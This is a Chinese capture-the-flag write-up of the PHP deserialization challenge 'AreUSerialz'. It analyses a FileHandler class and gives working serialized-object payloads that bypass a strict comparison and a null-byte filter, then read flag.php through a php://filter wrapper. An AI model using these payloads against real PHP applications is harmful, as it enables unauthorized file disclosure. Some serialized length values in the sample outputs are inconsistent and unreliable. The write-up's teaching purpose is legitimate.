[网鼎杯 2020 青龙组]AreUSerialz

目录

一、题目分析

(1)构造函数

(2)process函数

(3)write函数

(4)read函数

(5)destruct函数

(6)is_vaild判断条件函数

(7)传参判断条件

二、解题

解法一:

解法二:


一、题目分析

点击页面查看源码,可以发现有一个类FileHandler,关键是类中的三个参数op,filename,$content,都是protected类型的

接下来仔细分析每个函数:

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。

php 复制代码
function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较 ,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

php 复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

(3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

$res = file_put_contents($this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

php 复制代码
 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

php 复制代码
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2, 这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

php 复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在32,125这个区间内,如果是则返回true,不是则返回false;

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

查看ascii码表发现32,125这个区间内的都是可打印字符。

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

二、解题

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $content;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。

这是因为我们的变量**op,filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.**

如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。

解法一:

将chr(0)以转化为\00*\00的方式输出,并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    protected $op=2;
    protected $filename="php://filter/convert.base64-encode/resource=flag.php";
    protected $content;


}

$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

得到的payload

php 复制代码
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

可以看到flag.php以base64的方式读取出来了,解密即可得到flag

解法二:

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
    public $content;


}

$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

构造payload:

php 复制代码
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

就写到这里啦,喜欢的话给我点个赞吧!!!

相关推荐
佛祖让我来巡山7 天前
Java中的序列化和反序列化:让你的对象学会“变身术”
序列化·反序列化·java 序列化 反序列化
两个人的幸福10 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820713 天前
PHP 扩展——从入门到理解
php
鹏仔先生14 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下14 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip14 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒15 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog25015 天前
不要再继续优化 TCP
网络协议·tcp/ip·php